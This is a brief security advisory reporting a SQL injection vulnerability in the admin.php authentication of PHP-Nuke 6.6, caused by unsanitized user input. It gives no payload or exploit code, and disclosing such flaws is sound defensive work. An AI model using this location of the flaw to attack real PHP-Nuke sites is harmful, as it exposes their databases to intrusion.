It has been reported that PHP-Nuke is prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The issue is said to occur within the admin.php file, specifically when authenticating to a server.
The cause of this problem is due to insufficient sanitization of user-supplied data. An attacker may be able to exploit this issue to influence SQL query logic. Successful exploitation may disclose sensitive information about the underlying database to an attacker, which may be used to launch further attacks against a vulnerable system.
PHP-Nuke version 6.6 has been reported to be prone to this issue, however other versions may be affected as well.
